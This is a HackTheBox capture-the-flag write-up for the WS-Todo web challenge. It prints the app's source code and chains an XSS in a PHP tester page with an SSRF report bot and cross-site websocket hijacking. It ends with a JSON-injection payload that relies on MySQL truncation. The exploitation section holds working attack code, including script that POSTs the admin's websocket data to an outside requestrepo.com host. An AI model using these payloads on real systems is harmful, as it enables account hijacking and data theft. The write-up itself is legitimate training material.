HackTheBox - Challenges WS-Todo

30/11/2023 - 3 minutes

challenges hacking hackthebox javascript ssrf web websockets xss
  1. 1 Enumeration
    1. 1.1 TODO app
      1. 1.1.1 Websocket functionality
        1. 1.1.1.1 ADD
        2. 1.1.1.2 GET
      2. 1.1.2 Flag conditions
      3. 1.1.3 Reporting
    2. 1.2 HTML Tester
  2. 2 Exploitation
    1. 2.1 Payload
      1. 2.1.1 Final payload

# Enumeration

# TODO app

# Websocket functionality

const { encrypt, decrypt } = require('./util/crypto');

let db;
let sessionParser;

const quotes = [
    "Genius is one percent inspiration and ninety-nine percent perspiration.",
    "Fate is in your hands and no one elses.",
    "Trust yourself. You know more than you think you do."
];

const wsHandler = (ws, req) => {
    let userId;
    sessionParser(req, {}, () => {
        if (req.session.userId) {
            userId = req.session.userId;
        } else {
            ws.close();
        }
    });

    ws.on('message', async (msg) => {
        const data = JSON.parse(msg);
        const secret = await db.getSecret(req.session.userId);

        if (data.action === 'add') {
            try {
                await db.addTask(userId, `{"title":"${data.title}","description":"${data.description}","secret":"${secret}"}`);
                ws.send(JSON.stringify({ success: true, action: 'add' }));
            } catch (e) {
                ws.send(JSON.stringify({ success: false, action: 'add' }));
            }
        }
        else if (data.action === 'get') {
            try {
                const results = await db.getTasks(userId);
                const tasks = [];
                for (const result of results) {

                    let quote;

                    if (userId === 1) {
                        quote = `A wise man once said, "the flag is ${process.env.FLAG}".`;
                    } else {
                        quote = quotes[Math.floor(Math.random() * quotes.length)];
                    }

                    try {
                        const task = JSON.parse(result.data);
                        tasks.push({
                            title: encrypt(task.title, task.secret),
                            description: encrypt(task.description, task.secret),
                            quote: encrypt(quote, task.secret)
                        });
                    } catch (e) {
                        console.log(`Error parsing task ${result.data}: ${e}`);
                    }
                }
                ws.send(JSON.stringify({ success: true, action: 'get', tasks: tasks }));
            } catch (e) {
                ws.send(JSON.stringify({ success: false, action: 'get' }));
            }
        }
        else {
            ws.send(JSON.stringify({ success: false, error: 'Invalid action' }));
        }
    });
};

module.exports = (database, session) => {
    db = database;
    sessionParser = session;
    return wsHandler;
};

The functionality is very simple, you can either get or add todos

# ADD

Add takes:

{"title":"", "description":"", "secret":""}

# GET

get returns:

{"title":"", "description":"", "quote":"flag"}

BUT ENCRYPTED with secret, but luckily a /decrypt function is exposed as well which we can use with secret we can get from /secret

# Flag conditions

To get the flag you need to be user number 1(admin) and access the websocket with a get action

# Reporting

const puppeteer = require('puppeteer')

// please note that 127.0.0.1 and localhost are considered different hosts
// due to ingress networking rules a container can't reach itself through the it's external IP, so you'd have to use the internal ports (80, 8080) and 127.0.0.1

const LOGIN_URL = "http://127.0.0.1/login";

let browser = null

const visit = async (url) => {
    const ctx = await browser.createIncognitoBrowserContext()
    const page = await ctx.newPage()

    await page.goto(LOGIN_URL, { waitUntil: 'networkidle2' })
    await page.waitForSelector('form')
    await page.type('wired-input[name=username]', process.env.USERNAME)
    await page.type('wired-input[name=password]', process.env.PASSWORD)
    await page.click('wired-button')

    try {
        await page.goto(url, { waitUntil: 'networkidle2' })
    } finally {
        await page.close()
        await ctx.close()
    }
}

const doReportHandler = async (req, res) => {

    if (!browser) {
        console.log('[INFO] Starting browser')
        browser = await puppeteer.launch({
            args: [
                "--no-sandbox",
                "--disable-background-networking",
                "--disk-cache-dir=/dev/null",
                "--disable-default-apps",
                "--disable-extensions",
                "--disable-desktop-notifications",
                "--disable-gpu",
                "--disable-sync",
                "--disable-translate",
                "--disable-dev-shm-usage",
                "--hide-scrollbars",
                "--metrics-recording-only",
                "--mute-audio",
                "--no-first-run",
                "--safebrowsing-disable-auto-update",
            ]
        })
    }

    const url = req.body.url
    if (
        url === undefined ||
        (!url.startsWith('http://') && !url.startsWith('https://'))
    ) {
        return res.status(400).send({ error: 'Invalid URL' })
    }

    try {
        console.log(`[*] Visiting ${url}`)
        await visit(url)
        console.log(`[*] Done visiting ${url}`)
        return res.sendStatus(200)
    } catch (e) {
        console.error(`[-] Error visiting ${url}: ${e.message}`)
        return res.status(400).send({ error: e.message })
    }
}

module.exports = { doReportHandler }

The report functionality is an SSRF as a service apparently, give it any url and it will visit it with puppeteer

# HTML Tester

The whole app is index.php

<html>
    <body>
        <?php if (isset($_GET['html'])): ?>
            <?php echo $_GET['html']; ?>
        <?php else: ?>
            <h1>HTML Tester</h1>
            <p>Internal development tool</p>
            <form action="index.php" method="get">
                <input type="text" name="html" />
                <input type="submit" value="Submit" />
            </form>
        <?php endif; ?>
    </body>
</html>

Well the vulnerability here is also very clear. XSS in the html parameter!

http://167.99.85.216:32749/index.php?html=%3Cscript%3Ealert%281%29%3C%2Fscript%3E

Ok so I am pretty sure that probably the combination of this two must be used together. Probably the ssrf must be given an xss url, but ltets see.

# Exploitation

Ok so plan: Use the ssrf to make the admin user visit the xss link, from which we can hijack the weboscket with CSWH

# Payload

{
	"url":"http://127.0.0.1:8080/index.php?html=<script src='http://0sq8eorm.requestrepo.com'></script>"
}	

So we can hijack the socket like below

fetch("http://inscript.0sq8eorm.requestrepo.com", {
    mode: "no-cors"
});

const ws = new WebSocket("ws://127.0.0.1/ws");

ws.onopen = () => {
    fetch("http://websocketopened.0sq8eorm.requestrepo.com", {
        mode: "no-cors"
    });
    ws.send(JSON.stringify({ action: "get" }));
}

ws.onmessage = (msg) => {
    fetch("http://onmessage.0sq8eorm.requestrepo.com", {
        mode: "no-cors",
        method: "POST",
        body: msg.data
    });
}

{"success":true,"action":"get","tasks":[{"title":{"iv":"ac21d93c4ab8daa935ce685451048bd3","content":"cd7932834a76d11c30"},"description":{"iv":"9631a5b62f4cc5e46406370157d73a98","content":"643ac5e8aa23d6feab4c1093dd80a6"},"quote":{"iv":"03838addd0942c96560f5b0ccdf68a55","content":"c9e622d24a02ba2dc14a3c74a76afe032f42efba50b34e190c7c071c288abb29fa2ed9082cc50edc58d493c79eb4b19066388e8572ec3e5252444bf6269e7c"}},{"title":{"iv":"280d1d0a0a04b6b11e667bc8e1e2e130","content":"d1ec5ffefc32d36844"},"description":{"iv":"0315962d019ee592c3bbb7300b36e191","content":"2d1aaae06b38a77800c5b16a28c2a1"},"quote":{"iv":"74816e4cf1afe934b3d71b1f97dd7d2e","content":"3370d5f78953547fa107f8f90deda0ae696cd9702f5cca1c5ebd328f2339dd7fceb8a5c3e44bade4297826d8a82ef1b6dfd49f01577b4d46f8807d279db910"}},{"title":{"iv":"002aa60f473e17ef411ebf2995fda87d","content":"11c4366d70fde68499"},"description":{"iv":"23b860603cd991d4677f9c7a003ad195","content":"616ce200576523651e3d197457b434"},"quote":{"iv":"225ff327dce3d0dc43c2301ebb5b365f","content":"3eb6cac5ea65275ffd42bf0289b503dcb4e0cba9ad3ca49f66cb6d363984434be03ee341838c6cfe1e3a49adebf66c0329f57753fedc0c88b6f3f8254ca026"}},{"title":{"iv":"f0dd46360b49e96d32e2eb993b2a2242","content":"5f8283058ee7d5d8ec"},"description":{"iv":"e024cee8eb1a109b95fc44799733d38a","content":"e7c1f393486cb45fb4197b21568325"},"quote":{"iv":"7ab61c5021a94298efcd6435304eb01a","content":"9e0a48dcc7e2f62dc2ef9a3c5c243648c8c3f63b308821236b3c47babed62d28b67a962dfdd0cecbcb343c4020e438b1d7e1d74b25c6f83b804600e128e42a"}},{"title":{"iv":"e4871af0614ce2da535e79b03afe4763","content":"60387ee5c9341c9e73"},"description":{"iv":"cc93dff1965f52abf949a83f88344f2d","content":"2d555f5f0c1adf7edf9343e233649e"},"quote":{"iv":"8284fca80aa487f768ce8c749d106f26","content":"c12c8dfd8cacd597f0921bb0a14f302b36bd429967119f557c15d386bdd046c73bbfd1f855c8dad02df51d7a427bdaf9f966150fb67a1d9fc3affe168c514c"}},{"title":{"iv":"d57f8dcf809af8e457806808f9d6bdf4","content":"9f59e300f3de68be45"},"description":{"iv":"84682594000793183029c80bc4785ec0","content":"10ad903d522092f4316acb6c651d82"},"quote":{"iv":"d3a8d40d8a8731321fe578ad4ef42db1","content":"77a45909da4b89f3356f68d3d194cbcc4a82edb4bc4b5b25d6e564f156030a32e5459c9805d21e08ebb5e5272788500a7b1f3de261f5392e563a4d9ed99339"}},{"title":{"iv":"179b14eef0cb21316af387655ecac571","content":"29c77c8753931d57dd"},"description":{"iv":"c7e34ac747ba6d8dadfc90384ba03cbe","content":"5e475a610507aa87bcd0840b3e19fe"},"quote":{"iv":"306c4012d42b9c3315d7443ba5fea8e2","content":"df626b7acadd80c4d37962aacbff1161461b35710e5be477b7053b2ab6cc5b309573bb5838d0f4c2ab65c77aabff82cddf852167890240de9637fc262727ea"}},{"title":{"iv":"abe44d3309a4da4d1c6e1af48d3922fa","content":"74b69a003880dd77d8"},"description":{"iv":"4d4973ca739cec3e1ef30115930975b4","content":"9571d7ca1c4a2909cd6976fc7831ef"},"quote":{"iv":"c4dcf9245ecaa5a311f964e2856f5706","content":"387b24ec903daae7ddd5146a8bf2bc0ac93f89bbd642a16f35dea88c11c353c46b869aaab01ffe04f522dc1b3cb0bdddef477ec5d92160b25621aab7001a41"}},{"title":{"iv":"f4a565a6c5ba6aea2b5e685198daa547","content":"95e399c0a23a4f6df3"},"description":{"iv":"c85c1b223beef5fe91ef9e0f8596b99b","content":"0782809e4ea858b64c34645450ef19"},"quote":{"iv":"296ee667e05a0c92a957ac16ddc02529","content":"ad056403f4feb6c70f80824945e69c2b698f3cb02770b5f462f0887dab8993cabf333c75d606b9e245fa806dbe749be8919a041c55c24086be1e83d9356dae"}},{"title":{"iv":"31c3264bc408eb055b0fbf5f5394aea7","content":"f923c3dfabb714ae08"},"description":{"iv":"4d8352438ad625248d6e7cdbca9ce9cd","content":"8ec2fc1d4195180e453f624e3159fa"},"quote":{"iv":"5f00d3a28d871639324cefb1567d2b13","content":"97cd2fb5599ea8e3e2ae443c385d42d13cea60d5e6dba9812367cd6a19483378c306cd8dd071863f8f90c2b4360d24325f358cfb8f0d4fad271cd8a7a8b758"}},{"title":{"iv":"d3af6885b8af6ba7ba201e0ceeb2b7c4","content":"d04a98c791ed8b950a"},"description":{"iv":"b068bc20b4d296da5a85dda4b6877154","content":"7d3ce1dfe5a52d2aa2"},"quote":{"iv":"b4714740bc1c6bb1da1d55002efa5fd6","content":"ed480ee0d7857aef57f53a7b3b39a7fd861156488df64f3bfb4ace3fa8a1c840c89a973bbdda757e548efb334b072b7ad4d6ea990675c7d9ed64d5fd58a9fa"}},{"title":{"iv":"ec072d471a8e92f4626ae8f1c5a02daf","content":"c893ec43ffe85cefcb"},"description":{"iv":"2fab7748905e90d48608ec7119183014","content":"45b38034e0dcd53060f73309108b9d"},"quote":{"iv":"6ed4bf071ff87f610d9bc82f46c6e860","content":"237eea9a94869f4d61b530e84371cb7cd9419858952c828fe08051564944863e5da1dbe7076c8539d405de999b9f953f3875feea4c6844f9110a9967fe0cdb"}},{"title":{"iv":"6526fd298be56d0d65295a1ef8e1060b","content":"6b2eb05961fe9e0a0c"},"description":{"iv":"c14cdad1b9b02af9414ab871ecd7f45f","content":"ba3e04cf2b03265fdeb4049f9bc3c6"},"quote":{"iv":"7915bd1e4f6134d5014dfe93d47b8906","content":"c436776b835fb444ebf3a5f10907e912e81f18eba6060edbbef6fbaade088b8b566e3f46084cb4daa9af804d7ecfac132ab9f497a18d194d6262d2782955bf"}},{"title":{"iv":"bc999fb592fac83eb700d0db905354e1","content":"74d7e110141aa94c11"},"description":{"iv":"bd4497062e610b4771a91806291704a4","content":"15a1dcd7eef45b454eb36f544eb177"},"quote":{"iv":"0dc870ca1c5379c7e4aee7fb97a58186","content":"c030400179a511a0293177a2f76b670ca3c94cd05ea7e6b6f5e8733304b4918dc7ca9eaa428c13e229a308210b46bc26fa73c4be9be54eda9630a787306288"}},{"title":{"iv":"3d656c7b8b84a6639eeaed7a620deaed","content":"e4221cd70a8f1fa56e"},"description":{"iv":"718b93e88ac8a0697a762a4d5b25dab4","content":"a75b7281c0234ffb379b077c04ee95"},"quote":{"iv":"0133b381820cf8e62623c166f3eeeea3","content":"fbdd72a347f32bf71dd3283172f238e169dc4c367be6a2ff3db3ab222f51b754b3158ab66424356d1bf67a7a446e2bf1fa80ea3344b80e63d101e7f3b0557e"}},{"title":{"iv":"461492606bd50a8afeb72fd8b4901556","content":"4474b4a30650ae1ce3"},"description":{"iv":"be8858836ada1f317c2e210e1c29422c","content":"99ac079ea91f44c20c57606a7875b3"},"quote":{"iv":"831cd9da8ed02c35ad0798336e795d9e","content":"7e51e7e888d457dd80557e98a084980c61a50a03b0c866f27eb2b408a151241d9173f3d468a15f032a1feebf6222563272851f3d0f5add37ea501218b99ba1"}}]}

Ok so somewhere in here one of them is the flag but they are useless without the secret There are 2 paths forward then. Either get the secret from /secret or somehow overwrite/change it.

We can't get /secret due to CORS, lets see where our added tasks go and how they are processed then

await db.addTask(userId, `{"title":"${data.title}","description":"${data.description}","secret":"${secret}"}`);

Ok so they are added like this and then

const task = JSON.parse(result.data);
tasks.push({
	title: encrypt(task.title, task.secret),
	description: encrypt(task.description, task.secret),
	quote: encrypt(quote, task.secret)
});

to display them.

Well if we could inject the string "secret":"value"} in description and then because JSON.parse takes the whole string as 1 maybe it wont care for anything after the }? and everything will work perfectly?

Well it is definitely injectable, but how do we eliminate everything after } Also keep in mind since this is AES the key must be 32 characters long, so we could just use an IV for example: ac21d93c4ab8daa935ce685451048bd3, that is what I did

Well what is the data could get truncated after coming out of the database? If we can find out the maximum size just make it so it exactly ends at the injected }

ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'REDACTED';
CREATE USER 'web'@'localhost' IDENTIFIED WITH mysql_native_password BY 'REDACTED';
FLUSH PRIVILEGES;

CREATE DATABASE todo;
USE todo;

CREATE TABLE users (
    id INT NOT NULL AUTO_INCREMENT,
    username VARCHAR(255) NOT NULL,
    password VARCHAR(255) NOT NULL,
    secret VARCHAR(255) NOT NULL,
    PRIMARY KEY (id)
);

CREATE TABLE todos (
    id INT NOT NULL AUTO_INCREMENT,
    user_id INT NOT NULL,
    data VARCHAR(255) NOT NULL,
    PRIMARY KEY (id),
    FOREIGN KEY (user_id) REFERENCES users(id)
);

INSERT INTO users (username, password, secret) VALUES ('admin', 'REDACTED', 'REDACTED');

GRANT INSERT, SELECT ON todo.users TO 'web'@'localhost';
GRANT INSERT, SELECT ON todo.todos TO 'web'@'localhost';
FLUSH PRIVILEGES;

supervisord.conf

[program:mysql] # Set MySQL modes: https://dev.mysql.com/doc/refman/8.0/en/sql-mode.html command=/usr/bin/pidproxy /var/run/mysqld/mysqld.pid /usr/sbin/mysqld --sql-mode="NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_ENGINE_SUBSTITUTION" autorestart=true

The above fortunately allows exactly what we are trying to do by not enabling strict mode, which is enabled by default

The default SQL mode in MySQL 8.0 includes these modes: ONLY_FULL_GROUP_BYSTRICT_TRANS_TABLESNO_ZERO_IN_DATENO_ZERO_DATEERROR_FOR_DIVISION_BY_ZERO, and NO_ENGINE_SUBSTITUTION.

according to https://dev.mysql.com/doc/refman/8.0/en/sql-mode.html

Strict mode produces an error for attempts to create a key that exceeds the maximum key length. When strict mode is not enabled, this results in a warning and truncation of the key to the maximum key length.(https://dev.mysql.com/doc/refman/8.0/en/sql-mode.html#:~:text=Strict%20mode%20produces,Server%20System%20Variables%E2%80%9D.)) I was not aware of this protection but I googled it because I thought that why wouldn't the database just error if it gets more data than the specified maximum? The developer explicitly not setting it to strict mode then is a hint for us that we are on the right path!

hmm, so data is VARCHAR(255) NOT NULL, so how do we send exactly enough in order for our data to be cut at }? Well description is our injection point, so lets use our previous POC and build on it it looks something like this: {"title":"a","description":\" + description(padding for truncation basically) + ,"secret":"ac21d93c4ab8daa935ce685451048bd3"}\"} So if we subtract their length from 255 we find exactly how much padding we need to add.

# Final payload

// fetch("http://inscript.0sq8eorm.requestrepo.com", {
//     mode: "no-cors"
// });

const ws = new WebSocket("ws://127.0.0.1/ws");

ws.onopen = () => {
    // fetch("http://websocketopened.0sq8eorm.requestrepo.com", {
    //     mode: "no-cors"
    // });
    ws.send(
        JSON.stringify(
            {"action":"add","title":"a","description": `aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","secret": "ac21d93c4ab8daa935ce685451048bd3"}`}
        )
    );
    ws.send(JSON.stringify({ action: "get" }));
}

ws.onmessage = (msg) => {
    fetch("http://onmessage.0sq8eorm.requestrepo.com", {
        mode: "no-cors",
        method: "POST",
        body: msg.data
    });
}

Then use the now changed secret to decode the flag with the latest fetched iv and content